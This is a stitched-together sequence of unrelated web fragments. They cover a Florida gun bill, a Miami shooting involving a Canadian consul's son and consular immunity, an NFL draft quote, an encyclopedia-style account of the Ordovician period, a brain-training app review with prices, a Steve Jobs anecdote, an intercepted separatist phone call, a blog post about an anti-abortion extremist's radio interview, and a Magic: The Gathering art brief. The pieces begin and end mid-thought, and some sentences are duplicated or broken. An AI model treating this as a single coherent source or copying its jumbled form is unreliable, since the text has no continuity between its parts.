And, the measure passed the House 86-26 Thursday with most Democrats opposed. While this measure is on its way to the Governor’s desk, other gun-related measures appear to be stalled. That includes a bill allowing guns on college campuses and another allowing guns to be carried at public schools.
For more news updates, follow Sascha Cordner on Twitter: @SaschaCordner.
That's not the case, however, for consular officials or their children — a distinction that became clear this week following a deadly shootout in Florida, a state with particularly harsh murder laws.
The shield of diplomatic immunity affords no protections to the teen son of Canada's consul general in Miami, Roxanne Dubé, according to Canada's Foreign Affairs Department.
The teen, Marc Wabafiyebazu, was arrested on a charge of felony murder Monday in connection with what police describe as a botched drug-related robbery.
Roxanne Dubé was named Canada's consul general in Miami last November but reportedly arrived in the city with her two sons in February. (Government of Canada)
His older brother, 17-year-old Jean Wabafiyebazu, was killed in an ensuing gunfight inside a Miami apartment complex. Another 17-year-old, identified in news reports as Joshua Wright, also died in the shooting.
Police say the brothers had borrowed their mother's black BMW, and that Marc was waiting in the car when Jean and a friend allegedly entered the apartment, intending to rip off marijuana dealers.
Miami investigators believe both Wabafiyebazu brothers were armed.
Although Dubé served as Canada's ambassador in Zimbabwe for three years, her re-posting in November as consul general in Miami means that neither she — nor her Canadian sons — are protected under a higher-level immunity reserved for "diplomatic agents."
'Consular immunity'
"If this was an ambassador's child…then they should enjoy the same immunity as the parent," said Miami criminal defence lawyer David Edelstein. "A consular official is not a diplomatic agent."
All foreign government representatives on missions abroad are referred to colloquially as diplomats, but consular officials are provided "very limited" immunity compared to ambassadors, says Chris Whytock, a law professor with the University of California at Irvine.
[A suspect] could be charged with the actual murder of a person, even if they're not the one who pulled the trigger, so to speak. - David Edelstein, Miami criminal defence lawyer
"Consular officials only have immunity for official acts" during their work duties, he said. A traffic violation could be waived, for example, if an official was speeding while on business to attend a trade meeting.
"Moreover, consular immunity does not extend to family members," Whytock said.
Diplomatic agents, on the other hand, have "complete immunity" from a host country's laws, "no matter how serious the offense," according to the U.S. State Department's Diplomatic and Consular Immunity booklet.
Family members in the same household would "enjoy precisely the same privileges," the booklet says.
Modern rules codified in 1961
The principle of diplomatic immunity has existed for centuries, going back to ancient Greco-Roman times.
The modern rules were formally codified in 1961 via the Vienna Convention on Diplomatic Relations and the Vienna Convention on Consular Relations as a means to safeguard senior envoys in the foreign service from arbitrary abuse from a host country.
Miami police investigators at the scene of the shootout. (Hector Gabino/El Nuevo Herald)
Retired Canadian diplomat Jeremy Kinsman, who served for 40 years in the foreign service, including four years as the ambassador to the European Union, said that generally speaking for criminal prosecutions, "it would be up to Canadian authorities to invoke diplomatic immunity or to waive it."
Kinsman said he feels compassion for Dubé in what he said really amounts to a family tragedy.
"[It's] terrible for the mother in professional as well as personal terms," he said.
While Dubé's surviving son was arrested on a felony murder charge, he has not been formally charged.
Miami criminal lawyer Barry Beroset says the state of Florida has a "specific statute that can hold someone accountable for a homicide, a murder, if they in any way assisted or participated in it.
"It's a very unjust application of the law."
Could be charged as adult
Beroset knows of several felony murder cases that in some way mirror the one involving the Wabafiyebazu brothers.
"In one case, an individual drove to an establishment where they were going to go in and rip off somebody for drugs. Inside, they killed some people. The driver had no idea they were going to kill anybody, he just drove the car," Beroset said.
"As a result, he went to trial and was convicted. He is serving a life sentence."
The shootout occurred in an apartment complex in the Coral Way neighbourhood of Miami. (Hector Gabino/El Nuevo Herald)
Whether a suspect acted directly to kill another person has no real bearing on a felony murder charge, Edelstein said.
What matters, he said, is whether the individual participated in any way in certain types of violent crimes in which it could be "reasonably foreseeable" that somebody might die.
"Then they could be charged with the actual murder of a person, even if they're not the one who pulled the trigger, so to speak."
Questions also revolve around whether Marc Wabafiyebazu could be charged as an adult.
Were he a year older, Edelstein said, he would be sent to adult court due to the serious nature of the crime.
"He's not far from 16, where it would have been a mandatory direct file to adult court, so there's a good chance it could end up in adult court," Edelstein said.
Said James, about the possibility of playing for the Lions:
"I feel like if I came here I would be just another weapon in the arsenal. They have a lot of great players, a lot of great running backs and I would just get in where I fit in."
The Detroit Lions have spent early draft picks on Jahvid Best and Mikel Leshoure in the last two drafts, but both have struggled to make an impact due to injuries. Leshoure tore his Achilles tendon in training camp and did not play a snap in 2011, while Best missed extended time due to a concussion. Best still has not been cleared to play football by doctors, and he has a history of concussions leading up to the one he suffered during the 2011 NFL season.
The Ordovician, named after the Celtic tribe of the Ordovices, was defined by Charles Lapworth in 1879 to resolve a dispute between followers of Adam Sedgwick and Roderick Murchison, who were placing the same rock beds in northern Wales into the Cambrian and Silurian systems, respectively.[9] Lapworth recognized that the fossil fauna in the disputed strata were different from those of either the Cambrian or the Silurian systems, and placed them in a system of their own. The Ordovician received international approval in 1960 (forty years after Lapworth's death), when it was adopted as an official period of the Paleozoic Era by the International Geological Congress.
Life continued to flourish during the Ordovician as it did in the earlier Cambrian period, although the end of the period was marked by the Ordovician–Silurian extinction events. Invertebrates, namely molluscs and arthropods, dominated the oceans. The Great Ordovician Biodiversification Event considerably increased the diversity of life. Fish, the world's first true vertebrates, continued to evolve, and those with jaws may have first appeared late in the period. Life had yet to diversify on land. About 100 times as many meteorites struck the Earth per year during the Ordovician compared with today.[10]
Dating: extinction events [ edit ]
The Ordovician Period began with a major extinction called the Cambrian–Ordovician extinction event, about 485.4 Mya (million years ago). It lasted for about 42 million years and ended with the Ordovician–Silurian extinction events, about 443.8 Mya (ICS, 2004) which wiped out 60% of marine genera. The dates given are recent radiometric dates and vary slightly from those found in other sources. This second period of the Paleozoic era created abundant fossils that became major petroleum and gas reservoirs.
The boundary chosen for the beginning of both the Ordovician Period and the Tremadocian stage is highly significant. It correlates well with the occurrence of widespread graptolite, conodont, and trilobite species. The base (start) of the Tremadocian allows scientists to relate these species not only to each other, but also to species that occur with them in other areas. This makes it easier to place many more species in time relative to the beginning of the Ordovician Period.
Subdivisions [ edit ]
A number of regional terms have been used to subdivide the Ordovician Period. In 2008, the ICS erected a formal international system of subdivisions.[11] There exist Baltoscandic, British, Siberian, North American, Australian, Chinese Mediterranean and North-Gondwanan regional stratigraphic schemes.[12]
The Ordovician Period in Britain was traditionally broken into Early (Tremadocian and Arenig), Middle (Llanvirn (subdivided into Abereiddian and Llandeilian) and Llandeilo) and Late (Caradoc and Ashgill) epochs. The corresponding rocks of the Ordovician System are referred to as coming from the Lower, Middle, or Upper part of the column. The faunal stages (subdivisions of epochs) from youngest to oldest are:
Late Ordovician
Middle Ordovician
Trenton (Caradoc)
Onnian/Maysville/Eden (Caradoc)
Actonian/Eden (Caradoc)
Marshbrookian/Sherman (Caradoc)
Longvillian/Sherman (Caradoc)
Soudleyan/Kirkfield (Caradoc)
Harnagian/Rockland (Caradoc)
Costonian/Black River (Caradoc)
Chazy (Llandeilo)
Llandeilo (Llandeilo)
Whiterock (Llanvirn)
Llanvirn (Llanvirn)
Early Ordovician
Cassinian (Arenig)
Arenig/Jefferson/Castleman (Arenig)
Tremadoc/Deming/Gaconadian (Tremadoc)
British stages [ edit ]
The Tremadoc corresponds to the (modern) Tremadocian. The Floian corresponds to the lower Arenig; the Arenig continues until the early Darriwilian, subsuming the Dapingian. The Llanvirn occupies the rest of the Darriwilian, and terminates with it at the base of the Late Ordovician. The Sandbian represents the first half of the Caradoc; the Caradoc ends in the mid-Katian, and the Ashgill represents the last half of the Katian, plus the Hirnantian.[13][This would be clearer as a diagram.]
Paleogeography [ edit ]
During the Ordovician, the southern continents were collected into Gondwana. Gondwana started the period in equatorial latitudes and, as the period progressed, drifted toward the South Pole.
Early in the Ordovician, the continents of Laurentia (in present-day North America), Siberia, and Baltica (present-day northern Europe) were still independent continents (since the break-up of the supercontinent Pannotia earlier), but Baltica began to move towards Laurentia later in the period, causing the Iapetus Ocean between them to shrink. The small continent Avalonia separated from Gondwana and began to move north towards Baltica and Laurentia, opening the Rheic Ocean between Gondwana and Avalonia.
The Taconic orogeny, a major mountain-building episode, was well under way in Cambrian times. In the early and middle Ordovician, temperatures were mild, but at the beginning of the Late Ordovician, from 460 to 450 Ma, volcanoes along the margin of the Iapetus Ocean spewed massive amounts of carbon dioxide, a greenhouse gas, into the atmosphere, turning the planet into a hothouse.
Initially, sea levels were high, but as Gondwana moved south, ice accumulated into glaciers and sea levels dropped. At first, low-lying sea beds increased diversity, but later glaciation led to mass extinctions as the seas drained and continental shelves became dry land. During the Ordovician, in fact during the Tremadocian, marine transgressions worldwide were the greatest for which evidence is preserved.
These volcanic island arcs eventually collided with proto North America to form the Appalachian mountains. By the end of the Late Ordovician the volcanic emissions had stopped. Gondwana had by that time neared the South Pole and was largely glaciated.
Ordovician meteor event [ edit ]
The Ordovician meteor event is a proposed shower of meteors that occurred during the Middle Ordovician period, roughly 470 million years ago. It is not associated with any major extinction event.[14][15][16]
Geochemistry [ edit ]
External mold of Ordovician bivalve showing that the original aragonite shell dissolved on the sea floor, leaving a cemented mold for biological encrustation ( Waynesville Formation of Franklin County, Indiana).
The Ordovician was a time of calcite sea geochemistry in which low-magnesium calcite was the primary inorganic marine precipitate of calcium carbonate. Carbonate hardgrounds were thus very common, along with calcitic ooids, calcitic cements, and invertebrate faunas with dominantly calcitic skeletons. Biogenic aragonite, like that composing the shells of most molluscs, dissolved rapidly on the sea floor after death.[17][18]
Unlike Cambrian times, when calcite production was dominated by microbial and non-biological processes, animals (and macroalgae) became a dominant source of calcareous material in Ordovician deposits.[19]
Climate and sea level [ edit ]
The Ordovician saw the highest sea levels of the Paleozoic, and the low relief of the continents led to many shelf deposits being formed under hundreds of metres of water.[19] The sea level rose more or less continuously throughout the Early Ordovician, leveling off somewhat during the middle of the period.[19] Locally, some regressions occurred, but sea level rise continued in the beginning of the Late Ordovician. Sea levels fell steadily in accord with the cooling temperatures for ~30 million years leading up to the Hirnantian glaciation. During this icy stage, sea level seems to have risen and dropped somewhat, but despite much study the details remain unresolved.[19]
At the beginning of the period, around 485.4 million years ago, the climate was very hot due to high concentration of CO 2 (4200 ppm) in the atmosphere, which gave a strong greenhouse effect. By contrast, today the concentration is just above 400 ppm. Marine water temperatures are assumed to have averaged 45 °C (113 °F), which restricted the diversification of complex multi-cellular organisms. But over time, the climate became cooler, and around 460 million years ago, the ocean temperatures became comparable to those of present-day equatorial waters.[20]
As with North America and Europe, Gondwana was largely covered with shallow seas during the Ordovician. Shallow clear waters over continental shelves encouraged the growth of organisms that deposit calcium carbonates in their shells and hard parts. The Panthalassic Ocean covered much of the northern hemisphere, and other minor oceans included Proto-Tethys, Paleo-Tethys, Khanty Ocean, which was closed off by the Late Ordovician, Iapetus Ocean, and the new Rheic Ocean.
As the Ordovician progressed, we see evidence of glaciers on the land we now know as Africa and South America, which were near the South Pole at the time, and covered by ice caps.
Life [ edit ]
For most of the Late Ordovician life continued to flourish, but at and near the end of the period there were mass-extinction events that seriously affected planktonic forms like conodonts and graptolites. The trilobites Agnostida and Ptychopariida completely died out, and the Asaphida were much reduced. Brachiopods, bryozoans and echinoderms were also heavily affected, and the endocerid cephalopods died out completely, except for possible rare Silurian forms. The Ordovician–Silurian extinction events may have been caused by an ice age that occurred at the end of the Ordovician period, due to the expansion of the first terrestrial plants,[21] as the end of the Late Ordovician was one of the coldest times in the last 600 million years of Earth's history.
Fauna [ edit ]
Orthoceras were among the largest predators in the Ordovician. Nautiloids likewere among the largest predators in the Ordovician.
Fossiliferous limestone slab from the Liberty Formation (Upper Ordovician) of Caesar Creek State Park near Waynesville, Ohio.
On the whole, the fauna that emerged in the Ordovician were the template for the remainder of the Palaeozoic.[19] The fauna was dominated by tiered communities of suspension feeders, mainly with short food chains. The ecological system reached a new grade of complexity far beyond that of the Cambrian fauna,[19] which has persisted until the present day.[19]
Though less famous than the Cambrian explosion, the Ordovician radiation was no less remarkable; marine faunal genera increased fourfold, resulting in 12% of all known Phanerozoic marine fauna.[22] Another change in the fauna was the strong increase in filter-feeding organisms.[23] The trilobite, inarticulate brachiopod, archaeocyathid, and eocrinoid faunas of the Cambrian were succeeded by those that dominated the rest of the Paleozoic, such as articulate brachiopods, cephalopods, and crinoids. Articulate brachiopods, in particular, largely replaced trilobites in shelf communities.[24] Their success epitomizes the greatly increased diversity of carbonate shell-secreting organisms in the Ordovician compared to the Cambrian.[24]
In North America and Europe, the Ordovician was a time of shallow continental seas rich in life. Trilobites and brachiopods in particular were rich and diverse. Although solitary corals date back to at least the Cambrian, reef-forming corals appeared in the early Ordovician, corresponding to an increase in the stability of carbonate and thus a new abundance of calcifying animals.[19]
Molluscs, which appeared during the Cambrian or even the Ediacaran, became common and varied, especially bivalves, gastropods, and nautiloid cephalopods.
Now-extinct marine animals called graptolites thrived in the oceans. Some new cystoids and crinoids appeared.
It was long thought that the first true vertebrates (fish — Ostracoderms) appeared in the Ordovician, but recent discoveries in China reveal that they probably originated in the Early Cambrian.[citation needed] The very first gnathostome (jawed fish) appeared in the Late Ordovician epoch.
During the Middle Ordovician there was a large increase in the intensity and diversity of bioeroding organisms. This is known as the Ordovician Bioerosion Revolution.[25] It is marked by a sudden abundance of hard substrate trace fossils such as Trypanites, Palaeosabella, Petroxestes and Osprioneides. Several groups of endobiotic symbionts appeared in the Ordovician.[26][27]
In the Early Ordovician, trilobites were joined by many new types of organisms, including tabulate corals, strophomenid, rhynchonellid, and many new orthid brachiopods, bryozoans, planktonic graptolites and conodonts, and many types of molluscs and echinoderms, including the ophiuroids ("brittle stars") and the first sea stars. Nevertheless, the trilobites remained abundant, all the Late Cambrian orders continued, and were joined by the new group Phacopida. The first evidence of land plants also appeared (see evolutionary history of life).
In the Middle Ordovician, the trilobite-dominated Early Ordovician communities were replaced by generally more mixed ecosystems, in which brachiopods, bryozoans, molluscs, cornulitids, tentaculitids and echinoderms all flourished, tabulate corals diversified and the first rugose corals appeared. The planktonic graptolites remained diverse, with the Diplograptina making their appearance. Bioerosion became an important process, particularly in the thick calcitic skeletons of corals, bryozoans and brachiopods, and on the extensive carbonate hardgrounds that appear in abundance at this time. One of the earliest known armoured agnathan ("ostracoderm") vertebrate, Arandaspis, dates from the Middle Ordovician.
Trilobites in the Ordovician were very different from their predecessors in the Cambrian. Many trilobites developed bizarre spines and nodules to defend against predators such as primitive eurypterids and nautiloids while other trilobites such as Aeglina prisca evolved to become swimming forms. Some trilobites even developed shovel-like snouts for ploughing through muddy sea bottoms. Another unusual clade of trilobites known as the trinucleids developed a broad pitted margin around their head shields.[28] Some trilobites such as Asaphus kowalewski evolved long eyestalks to assist in detecting predators whereas other trilobite eyes in contrast disappeared completely.[29] Molecular clock analyses suggest that early arachnids started living on land by the end of the Ordovician.[30]
The earliest-known octocorals date from the Ordovician.[31]
Flora [ edit ]
Green algae were common in the Late Cambrian (perhaps earlier) and in the Ordovician. Terrestrial plants probably evolved from green algae, first appearing as tiny non-vascular forms resembling liverworts. Fossil spores from land plants have been identified in uppermost Ordovician sediments.
Colonization of land would have been limited to shorelines
Among the first land fungi may have been arbuscular mycorrhiza fungi (Glomerales), playing a crucial role in facilitating the colonization of land by plants through mycorrhizal symbiosis, which makes mineral nutrients available to plant cells; such fossilized fungal hyphae and spores from the Ordovician of Wisconsin have been found with an age of about 460 million years ago, a time when the land flora most likely only consisted of plants similar to non-vascular bryophytes.[33]
End of the period [ edit ]
The Ordovician came to a close in a series of extinction events that, taken together, comprise the second largest of the five major extinction events in Earth's history in terms of percentage of genera that became extinct. The only larger one was the Permian–Triassic extinction event.
The extinctions occurred approximately 447–444 million years ago and mark the boundary between the Ordovician and the following Silurian Period. At that time all complex multicellular organisms lived in the sea, and about 49% of genera of fauna disappeared forever; brachiopods and bryozoans were greatly reduced, along with many trilobite, conodont and graptolite families.
The most commonly accepted theory is that these events were triggered by the onset of cold conditions in the late Katian, followed by an ice age, in the Hirnantian faunal stage, that ended the long, stable greenhouse conditions typical of the Ordovician.
The ice age was possibly not long-lasting. Oxygen isotopes in fossil brachiopods show its duration may have been only 0.5 to 1.5 million years.[18] Other researchers (Page et al.) estimate more temperate conditions did not return until the late Silurian.
The late Ordovician glaciation event was preceded by a fall in atmospheric carbon dioxide (from 7000 ppm to 4400 ppm).[34][35] The dip was triggered by a burst of volcanic activity that deposited new silicate rocks, which draw CO 2 out of the air as they erode.[35] This selectively affected the shallow seas where most organisms lived. As the southern supercontinent Gondwana drifted over the South Pole, ice caps formed on it, which have been detected in Upper Ordovician rock strata of North Africa and then-adjacent northeastern South America, which were south-polar locations at the time.
As glaciers grew, the sea level dropped, and the vast shallow intra-continental Ordovician seas withdrew, which eliminated many ecological niches. When they returned, they carried diminished founder populations that lacked many whole families of organisms. They then withdrew again with the next pulse of glaciation, eliminating biological diversity with each change.[36] Species limited to a single epicontinental sea on a given landmass were severely affected.[18] Tropical lifeforms were hit particularly hard in the first wave of extinction, while cool-water species were hit worst in the second pulse.[18]
Those species able to adapt to the changing conditions survived to fill the ecological niches left by the extinctions.
At the end of the second event, melting glaciers caused the sea level to rise and stabilise once more. The rebound of life's diversity with the permanent re-flooding of continental shelves at the onset of the Silurian saw increased biodiversity within the surviving Orders.
An alternate extinction hypothesis suggested that a ten-second gamma-ray burst could have destroyed the ozone layer and exposed terrestrial and marine surface-dwelling life to deadly ultraviolet radiation and initiated global cooling.[37]
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Mobile – Android and iOS
Price Monthly subscription — $14/month
Yearly subscription — $96, only $8/month
Conclusion The proven benefits of the exercises help you to learn how to increase memory, reverse age-related mental decreases, build self-confidence, reduce dangerous driving moves, think and act faster, and be less likely to develop depression. BrainHQ focuses on developing brain performance in everyday situations.
Stimulate your brain with fun challenge games that train your cognitive skills, including memory, focus, and speed.
FitBrains has the most brain games in an app with more than 60 games and 500 training sessions.
The training sessions are short, fun exercises that challenge your brain.
It tells you how you are progressing with in-game stats, and you get comparisons with others like you as they score in the games.
The scoring creates a competitive environment to challenge yourself to grow in your ability to increase your brain performance.
With the most games of any app, FitBrains adapts to your progress to give you the maximum benefit for your brain training.
As you progress, the appropriate level of challenge is applied to train your cognitive skills and emotional intelligence to help you grow in social skills of self-awareness, social awareness, and self-control.
The wide variety of games helps those of all ages in challenge areas to better enhance memory, focus, the speed of thinking, logical thinking, problem-solving, language, and spatial recognition.
Perfect For Brain stimulation
Brain stimulation Increase cognition with a competitive spirit
Increase cognition with a competitive spirit Develop and increase emotional intelligence
Available On Desktop – Mac and PC
Mobile – Android and iOS
Price Free games
Premium monthly iOS — $9.99/month
Premium yearly iOS — $49.99, only $4.17/month
Premium monthly Android — $7.99/month
Premium yearly Android — $39.99, only $3.33/month
Conclusion The wide variety of free games offers an accessible and easy to use tool that helps you explore new ways to challenge your brain and increase your cognitive ability. Additionally, you can further your efforts by competing with yourself and with others.
You can build your communication and analytical skills with games that are designed by experts in cognition.
The app includes more than forty games intended to boost productivity, self-confidence, and learning ability.
By focusing on math, articulation, writing, reading, and listening, the games teach you to enhance your ability to communicate with others.
You will be challenged to expand your vocabulary, increase your awareness of grammar, and grow your reading comprehension.
You will be able to track your improvement to challenge yourself to perform better.
Additionally, your performance is compared across skill groups to help you see how you compare with others.
Backed by independent research and analysis, Elevate games are designed by experts with games and tools that improve your cognitive ability.
Users have improved their results by 69% over those who did not use the app.
Perfect For Staying mentally sharp
Staying mentally sharp Building your self-confidence
Building your self-confidence Increasing productivity
Available On Mobile – Android and iOS
Price Free — three challenges per day
Elevate Pro monthly — $9.99/month
Elevate Pro yearly — $59.99/year, only $4.99/month
Conclusion As the best app of 2014, on the Apple App Store, Elevate helps you train to better your communication and analytical abilities. You get games to improve fourteen different cognitive skills in an app that is fun to work with. As you progress, it tracks your improvement and it gives you comparisons with others of similar skill levels.
The visually pleasing app offers scientifically formulated assessments and tools to tell you about your cognitive abilities in your relationships, day-to-day brain performance, and your overall cognitive health.
The assessments help spot possible cerebral or intellectual aberrations.
You have access to twenty-three tests that evaluate the mental skills used in everyday life so that you can best understand your mental health.
Cognifit suggests brain training that best matches your needs based on scientific assessments.
As you progress, real-time monitoring tracks your skills evolution and compares the results to others of similar skill level and age norms.
Personalized brain gains customize your brain growth training and help stimulate mind functions.
You get to know the health of your brain from a scientific methodology of thirteen programs tailored toward better understanding adult cognitive health, and twelve programs to better understand child cognition.
Perfect For Better understanding cognitive condition
Better understanding cognitive condition Stimulating better cognition
Stimulating better cognition Improving overall brain plasticity in all walks of life
Available On Desktop – Mac and PC
Mobile – Android and iOS
Price Free — first four games, out of thirty brain training games
Monthly plan — $19.95/month
Yearly plan — $191.40, only $15.95/month
Conclusion The app offers games and research that has combined the latest brain discoveries and tools that make games a learning experience. The tests focus on learning about the health of your brain and any possible aberrations.
The intense games of Peak push you to work out your brain with intense mental workouts designed around your life.
You choose the skills that matter most to you with games that test your memory, focus, problem-solving, and mental agility.
Every game is meticulously researched and designed in collaboration with scientists who study the impact of video games on cognition.
Researchers working at Cambridge, Yale, UCL, and King’s College London bring you games that will help you increase your mental abilities.
A personal trainer, Coach, will guide you through the workouts and help you reach your goals.
Coach challenges you with new workouts tailored to your progress, and it shows you where and how you can improve.
Additionally, your success rate is tracked to help you monitor and improve your mental performance.
With Peak Pro, you get further tailored workouts, and insightful expert analysis of your performance to help you go further in your cognitive growth.
Perfect For Challenging you to reach higher levels of mental ability
Challenging you to reach higher levels of mental ability Testing your cognitive skills
Testing your cognitive skills Training your brain harder
Available On Mobile – Android and iOS
Price Free
Peak Pro Training monthly — $4.99/month
Peak Pro Training yearly — $34.99, only $2.92/month
Conclusion You will find ways to push your training to the next level of advancement. The fully researched games are effective in helping you improve your memory and brain function. Additionally, the workouts offer helpful analysis in the paid version.
You learn how to boost all types of cognitive skills with brain training exercise designed by brain training experts.
Memorado is your workout gym for the brain.
It gives you brain training games to challenge your working memory and cognitive control.
Scientifically researched games help you grow and connect cognitive functions so that you learn how to boost your intelligence.
You set goals with Memorado’s unique and fun interface that will set up your brain training methodology.
Within those channels, you begin assessments that guide your progress and brain learning.
Every day, five new games are selected that will enhance your cognitive learning.
The app compiles brain tests and games that enhance your IQ and give you an enjoyable place to grow your brain and increase mindfulness.
Users that train with the app show a 76% increase in brain quotient IQ.
Perfect For Building a strong brain connectivity
Building a strong brain connectivity Enhancing overall aspects of brain and mental health
Enhancing overall aspects of brain and mental health Creating a powerful working memory
Available On Desktop – Mac and PC
Mobile – Android and iOS
Price Free — learning games are free
Memorado Master Program quarterly — $12.99/3 months
Memorado Master Program yearly — $47.99/year, only $3.99/month
Memorado Master Program lifetime — $79.99
Conclusion This is an easy to use app to help you get started with brain training. Once you complete a quick assessment, the app has appealing games and puzzles that are tailored to your mental growth and cognitive goals. Overall it gives you fun to play games, that although take awhile to get to see progress, you will be able to learn and find the brain training tools that work best.
With a variety of games, learn to develop language skills, memory, and brain speed.
The games are scientifically designed to develop your communication skills, intellectual skills, motor skills, emotional memory, and episodic memory.
You get six free cognitive games that improve your brain performance, with more than fifty games in the paid version.
Each game focuses your effort to grow your mental skills and intelligence quotient.
The interface has fun to play games that challenge you to increase your brain’s ability in speed, memory, math, logical thinking, and problem-solving.
The system guides your progress with a personality development program.
Additionally, the app includes headspace, a five minute guided meditation that trains your mind with holistic training tools.
Perfect For Playing games, and working through puzzles and riddles that challenge your brain
Playing games, and working through puzzles and riddles that challenge your brain Increasing your motor skill ability
Increasing your motor skill ability Growing your cognitive skills
Available On Desktop – Mac and PC
Mobile – Android and iOS
Price Free — games are free on the desktop version
Android — $2.99/lifetime
iOS — $3.99/lifetime
Conclusion With a low one-time purchase price, the app will get you started with brain training games, puzzles, and riddles. There is a meditation guide to allow you to create a calm learning environment and pace.
You will be able to learn new brain habits that have been proven to enhance cognitive health, motor skills, and reduced stress.
The app has been reviewed for business to show a reduction in stress, reduction in absenteeism, and reductions in health claims while developing increased productivity.
The app makes it easy for you to get started with brain training exercises.
You start with an assessment that lets you view your detailed brain health report.
After you take some of the exercises, you begin to see easy to understand reports of your brain health and your progress.
Moreover, MyBrainSolutions has been built from the world’s largest integrative neuroscience database.
Scientifically researched assessments show your performance results in brain health, mindfulness, and stress reduction.
The app has an additional system to evaluate cognitive deficiencies, and it offers treatment and exercise options to help restore brain health.
The assessments apply to all ages in helping foster brain health in cognition skills, self-regulation activity, and emotional intelligence.
Perfect For Testing and increasing brain health
Testing and increasing brain health Helps improve your focus and attention
Helps improve your focus and attention Reducing stress and increasing productivity
Available On Desktop – Mac and PC
Mobile – Android and iOS
Price Monthly — $9.99/month
Yearly — $47.88/year, only $3.99/month
Conclusion One of the few apps that focuses on helping individuals to overcome mental difficulties, such as anxiety, depression, and addiction, it helps you learn to become more productive. Through brain exercises, the system trains you and tracks your brain performance metrics to help you in all walks of life.
Conclusion
So many apps, so many features. After all, they’re all similar (and some are even the same but with different colors).
"So I asked Issey to make me some of his black turtlenecks that I liked, and he made me like a hundred of them." Jobs noticed my surprise when he told this story, so he showed them stacked up in the closet. "That's what I wear," he said. "I have enough to last for the rest of my life."
“I don’t know, but some four houses were destroyed,” the member of the terrorist group told Driomov on Jan. 1, according to recording.
Earlier SBU provided a recording where Russia-backed separatists confessed the shelling that continues in the east of Ukraine. On Dec. 6 the SBU released intercepted phone conversation, in which members of the self-proclaimed Donetsk People’s Republic reported that they have opened fire near Novobakhmutivka village, that resulted in civilian casualties.
Read the full transcript of an intercepted phone call below:
Pavel Driomov (nickname Batia): Guess whom I met with just now?
Yevhen: Maybe with Tambov?
PD: I had an meeting with Dmitry Medvedev.
Yevhen: Oh, that’s good. And how was he?
PD: He’s okay. He managed to get us Grad multiple rocket launchers, guns and told that (Ihor) Plotnytskiy (the leader of self-proclaimed Luhansk People’s Republic) will apologize to us. He’ll come back from Moscow and give a televised address in which he’ll apologize to the first Cossack unit, because they have always been fighting for the nation and they are the best.
Yevhen: Really?
PD: Yes. They will let us keep the same insignia, a name of the unit and our flag. But we have to change the title. We’ll have multi-service title now.
Yevhen: Who gives a f*ck!
PD: They’d give us tanks, they’d give us everything. Do you know how they called us? “You are in the vanguard of Russian Federation Cossacks.” The most important is that we’ll be provided with all the weapons before Jan. 15. Tambov was ordered to give us tanks, ground combat vehicles, and guns.
Yevhen: They will give us all this stuff?
PD: And what’s more important, I witnessed Medvedev to order to provide us with military professionals, not some advisers-chatterboxes. They really could teach people how to make things right. They are real soldiers and I trust them. That’s what I heard myself.
Yevhen: Wow!
PD: Dude, can you imagine – I have Medvedev’s phone number! Not some of his fucking assistants, but his number! The most interesting is that he’d officially invite 125 children from Gorlivka and Stakhanov on Jan. 5 to check Kremlin’s Christmas tree! Now to the bad news.
Yevhen: Yes.
PD: On Sunday “Tambov” will check everything, so we need to show him warehouses, 6th school, where we will have the headquarters.
Yevhen: F*ck, but the building of the 6th school is kind of unprepared, Pavel Leonidovich.
PD: We’ll do it! He needs to see the walls and now they will give us all we need.
SBU comment: De-facto Kuzovliov Sergei Yurievich (nom de guerre Tambov, Ignatov), Russian major-general, is Driomin’s boss.
Serhiy Kuzovliov: Yes.
Pavel Driomov: Sergei Yurievich, let me report on staff. The total number is 1,176 now, including 35 freelancers.
SK: Okay, good.
PD: This is without “ghost souls.” All those who are in. I checked it all myself.
SK: Anyway, Pavel Leonidovich, let them know that I’ll inspect all the units together with you – and will check, and look and count.
PD: Of course, Sergei Yurievich, they are ready. We even can have a unit set-up if needed.
Last night, anti-abortion extremist Neal Horsley was a guest on The Alan Colmes Show, a FOX News radio program. The topic was an interesting one - whether or not an internet service provider should allow Horsley to post the names of abortion doctors on his website. Horsley does that as a way of targeting them and one doctor has been killed. In the course of the interview, however, Colmes asked Horsley about his background, including a statement that he had admitted to engaging in homosexual and bestiality sex. Updated with audio!
At first, Horsley laughed and said, "Just because it's printed in the media, people jump to believe it."
"Is it true?" Colmes asked.
"Hey, Alan, if you want to accuse me of having sex when I was a fool, I did everything that crossed my mind that looked like I..."
AC: "You had sex with animals?"
NH: "Absolutely. I was a fool. When you grow up on a farm in Georgia, your first girlfriend is a mule."
AC: "I'm not so sure that that is so."
NH: "You didn't grow up on a farm in Georgia, did you?"
AC: "Are you suggesting that everybody who grows up on a farm in Georgia has a mule as a girlfriend?"
NH: It has historically been the case. You people are so far removed from the reality... Welcome to domestic life on the farm..."
Colmes said he thought there were a lot of people in the audience who grew up on farms, are living on farms now, raising kids on farms and "and I don't think they are dating Elsie right now. You know what I'm saying?"
Horsley said, "You experiment with anything that moves when you are growing up sexually. You're naive. You know better than that... If it's warm and it's damp and it vibrates you might in fact have sex with it."
In addition to Horsley, Colmes has recently interviewed Randall Terry another radical anti-abortionist and anti-gay activist. In the middle of an otherwise serious interview, Terry began joking - apropos of nothing - that he and Colmes were ex-lovers.
Another extremist interviewed by Colmes not too long ago was Rev. Fred Phelps who stated on the show that he thought the death penalty should be given for those who engage in "sodomy." When Colmes asked Phelps if he had ever engaged in gay sex, Phelps blustered but never said no.
Hmm, I'm beginning to sense a pattern here. Come to think of it, Ann Coulter is reputed to have an unusually, er, wide-ranging sex life, too, though as far as I know it's just confined to men. Still, it doesn't exactly match the profile of an ultra-conservative.
From the art description to the final product, the Art in Focus series reviews every step involved in crafting the art of Magic the Gathering in the artist’s own words.
This week we shine the spotlight on the Maelstrom Wanderer by Thomas M. Baxa from Planechase 2012.
Take it away Tom.
Here’s the actual art order straight from Wotc for Maelstrom Wanderer, painted in May of 2011. It has been a player favorite Commander in EDH ever since.
Color: Red, blue, and green legendary creature -- one of a kind
Location: A steeply inclined landscape, swept by a very strong wind
Action: The Maelstrom was the point at which the five shards of the plane of Alara merged -- a huge, roiling, crackling whirlpool of mana, aether, and magic. The Maelstrom is mostly gone now, but it remains a site of bizarre, flaring magic and strange winds. Show The Wanderer, a towering elemental creature borne of the Maelstrom. Its body is composed of green veins and vascular structures, fire and rock, and ribbons of blue arcane energy. It's easily 60 feet tall. It wanders the former Maelstrom's rim, into the wind, trailing blue plasma and licks of flame as it goes.
Focus: the huge "maelstrom elemental"
Mood: A walking storm of quasi-living magic, purposeless and ceaseless
